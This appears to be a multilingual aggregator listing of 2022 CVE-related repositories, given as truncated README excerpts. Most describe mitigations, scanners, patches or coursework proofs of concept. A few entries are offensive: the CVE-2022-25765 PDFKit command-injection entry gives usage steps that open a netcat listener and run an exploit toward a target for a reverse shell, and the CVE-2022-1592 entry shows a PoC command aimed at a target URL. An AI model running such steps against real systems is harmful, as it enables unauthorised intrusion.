msdt-disable

참고 : 이 도구는 이제 구식 입니다! Follina 익스플로잇은 2022년 6월 14일부로 수정 되었습니다. 즉, 이 도구를 사용했다면 이제 MSDT 프로토콜을 다시 활성화할 수 있습니다... 물론 백업 .reg 파일이 아직 있다면 말이죠. MSDT 프로토콜 비활성화 도구 는 MSDT 프로토콜ms-msdt://을 비활성화하는 도구입니다. 제로데이 취약점 CVE-2022-30190/Follina를 패치하기 위한 간단한 패치 도구입니다. 프로토콜을 다시 활성화하려는 경우를 대비하여 사용자 폴더에 백업 .reg 파일이 저장됩니다...

DirtyPipe-Exploit

CSE 5380: 情報セキュリティ論文 CVE-2022-0847 Dirty Pipe 著者 Karan Vasudevamurthy UTA ID: 1002164438 CVEとは? Common Vulnerabilities and Exposures CVE...

webhook-cve-2022-0811

webhook-cve-2022-0811 これは、悪意のあるsysctl値が設定されている場合にPodの作成をブロックする非常にシンプルなwebhookです。 ビルド root@kitploit: go test CGOENABLED=0 GOOS=linux GOARCH=amd64 GO111MODULE=on go build Minikubeでイメージをビルドしてデプロイ minikubeを起動: root@kitploit: minikube start minikube addons enable registry ビルド: root@kitploit: podman...

CVE-2022-30190_Temporary_Fix_Source_Code

🩹CVE-2022-30190 一時的修正🩹 ソースコード これらは、 CVE-2022-30190 の脆弱性 Follina に対する一時的な保護を簡単かつ迅速に適用するためにコンパイルされた、2つのPythonスクリプトのソースコードです。 両方とももっと良いプログラムにできるでしょうが、これはできるだけ早く実装するためのもので、Pythonの知識があまりないまま作成しました。しかし、重要なのは... 動作することです! へへ これらの '.exe' ファイルは何をするのですか?: ステップバイステップ 'CVE-2022-30190temp-fix.py'...

nse-exchange

nse-exchange Nmap NSE 스크립트로 Exchange 취약점CVE-2022-41082을 확인합니다. NSE 스크립트는 인터넷에서 가장 일반적으로 노출된 서비스를 확인합니다. 가상 패치가 작동하는지 확인하는 기본 스크립트입니다. 예제 현재 패치가 없으므로, 완화 조치만 확인하여 호스트가 취약한지 검사합니다. 간단한 예: root@kitploit: nmap -sV -T4 -v --script=http-vuln-cve-2022 scanme.nmap.org 더 빠른 실행 대규모 서브넷: root@kitploit: nmap...

Follina-Remediation

Follina-Remediation MSDTが実行される機能を削除します（CVE-2022-30190（Follina）への対応） Microsoftが公式修正を公開したため、このリポジトリはアーカイブされました。詳細はhttps://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-30190 を参照してください...

CVE-2022-31626-CVE-2024-2961-CVE-2019-6977

CVE-2022-31626, CVE-2024-2961, CVE-2019-6977 후원 아래의 PayPal 또는 QR 코드 스캔을 통해 이 프로젝트의 유지보수를 지원해 주세요. ⚡ 간단한 사용법 이 프로젝트는 다음과 같은 안전하고 승인된 환경에서만 사용하세요: 로컬 가상 머신 Docker 컨테이너 분리된 실습 환경 승인된 침투 테스트 환경 설정 예시: root@kitploit: git clone cd Project use python follow below Create a virtual environment python -m...

bigip-scanner

BIG-IP 스캐너 원격 F5 BIG-IP 관리 인터페이스에서 실행 중인 소프트웨어 버전을 확인합니다. Bishop Fox Cosmos 팀이 ❤️로 개발했습니다. 설명 CVE-2022-1388은 F5 BIG-IP 관리 인터페이스의 치명적인 취약점으로, 공격자가 인증을 우회하고 임의의 시스템 명령을 원격으로 실행할 수 있게 합니다. Bishop Fox는 다음을 확인하는 데 사용할 수 있는 BIG-IP 스캐너를 개발했습니다: 원격 F5 BIG-IP 관리 인터페이스에서 실행 중인 소프트웨어 버전 특정 장치가 CVE-2022-1388을...

bhyve

bhyve CVE-2022-23087 のエクスプロイトコード...

ALLMediaServer-1.6-Buffer-Overflow

CVE-2022-28381 ALLMediaServer 1.6 远程 - 缓冲区溢出 SEH ALLMediaServer-1.6-缓冲区溢出Metasploit 证明与利用 参考资料 https://nvd.nist.gov/vuln/detail/CVE-2022-28381 https://vulners.com/cve/CVE-2022-28381 https://vulners.com/cve/CVE-2022-28381...

Sandbox-Challenge-Spring4Shell-CVE-2022-22965-

Spring4Shell 脅威サンドボックス CVE-2022-22965 概要 このウォークスルーは、CVE-2022-22965（通称 Spring4Shell）に焦点を当てたサンドボックスチャレンジの完了を記録したものです。これは、特定のバージョンのSpring Javaフレームワークに影響を与える重大な（CVSS 9.8/10）リモートコード実行脆弱性です。このチャレンジでは、脆弱性の攻撃（レッドチーム）と防御（ブルーチーム）の両方の視点を扱います。 注意:...

CS4239-Spring4Shell-POC

CS4239-Spring4Shell-POC CS4239 G410 보고서용 CVE-2022-22965Spring4Shell 개념 증명PoC입니다. 패치되지 않은 동작과 패치된 동작을 시연하기 위해 이 PoC를 각색했습니다. 데모 실행 이 저장소에는 동일한 소스 코드를 가진 2개의 예제 프로그램도커화됨이 있습니다. 하나는 취약한 버전의 Spring Boot를 사용하고 다른 하나는 패치된 버전을 사용합니다. Tomcat도 이 취약점에 대한 패치를 출시했지만, Spring 패치의 효과를 분리하기 위해 이 데모에서는 동일한 취약한 버전...

CVE-2022-22963

이 저장소에는 README가 없습니다...

CVE-2022-1592

CVE-2022-1592 POC root@kitploit: pip install requests --break-system-packages root@kitploit: CVE-2022-1592.py https://tatget.com/...

apache__jspwiki_CVE-2022-46907_2-11-3

Apache JSPWiki 2.11 - 문서 root@kitploit: Licensed to the Apache Software Foundation ASF under one or more contributor license agreements. See the NOTICE file distributed with this work for additional information regarding copyright ownership. The ASF licenses this file to you under the Apache...

nahsra__antisamy_CVE-2022-29577_1-6-6-1

AntiSamy 신뢰할 수 없는 출처에서 오는 HTML을 빠르고 설정 가능하게 정리하는 라이브러리입니다. Java 7+를 지원합니다. 다른 방식으로 말하자면: 클라이언트가 프로필, 댓글 등에 제공하는 HTML에 악성 코드를 포함하지 않도록 하고, 이것이 서버에 저장되는 것을 방지하는 API입니다. 웹 애플리케이션에서 '악성 코드'라는 용어는 일반적으로 'JavaScript'를 의미합니다. 대부분의 경우, CSSCascading Stylesheets는 JavaScript를 호출할 때만 악성으로 간주됩니다. 그러나 '정상적인'...

ff4j__ff4j_CVE-2022-44262_1_8_13_fixed

✨✨✨ FF4J - Java를 위한 Feature Flipping ✨✨✨ Codacy Badge FF4j는 Feature Toggle 패턴의 구현체입니다. 🤘기능 Feature Toggle: 런타임에 기능을 활성화/비활성화할 수 있습니다. 배포가 필요 없습니다. 코드에서 동적 조건if/then/else으로 보호된 여러 경로를 구현하세요. 역할 기반 토글링: 플래그 값뿐만 아니라 역할과 그룹카나리 릴리스을 사용하여 접근을 제어합니다. Spring Security를 시작으로 다양한 프레임워크를 지원합니다. 전략 기반 토글링: 기능...

CVE-2022-25765

CVE-2022-25765 익스플로잇 CVE-2022-25765, PDFKit-CMD-Injection에 대한 작은 PoC 익스플로잇 사용법 1. 공격 머신에서 netcat 리스너를 시작합니다: root@kitploit: nc -lvnp 4444 2. 익스플로잇을 실행합니다: root@kitploit: python cve-2022-25765.py -t http://TARGETIP:PORT -l YOURIP -p YOURPORT 예시: root@kitploit: python cve-2022-25765.py -t...

jenkinsci__workflow-cps-plugin_CVE-2022-25173_2646-v6ed3b5b01ff1

Pipeline: Groovy プラグイン はじめに Pipeline プラグインスイートの主要コンポーネントであるこのプラグインは、Jenkins コントローラープロセス内で実行されるカスタム Groovy インタープリターに基づいて、Pipeline ステップの標準実行エンジンを提供します。 原理的には、FlowDefinition を API エントリーポイントとして他の実行エンジンもサポート可能ですが、プロトタイプは作成されておらず、作成するには非常に大きな労力が必要になると思われます。 次のような Pipeline Groovy スクリプトコードは root@kitploit...

keycloak__keycloak_CVE-2022-4137_20-0-3

Keycloak Keycloak은 최신 애플리케이션 및 서비스를 위한 오픈 소스 ID 및 액세스 관리Identity and Access Management 솔루션입니다. 이 저장소에는 Keycloak 서버, Java 어댑터 및 JavaScript 어댑터의 소스 코드가 포함되어 있습니다. 도움말 및 문서 문서 사용자 메일링 리스트 - Keycloak에 대한 도움말 및 일반적인 질문을 위한 메일링 리스트 보안 취약점 신고 보안 취약점을 발견하셨다면, 올바르게 보고하는 방법에 대한 지침을 확인해 주세요. 이슈 보고 Keycloak에...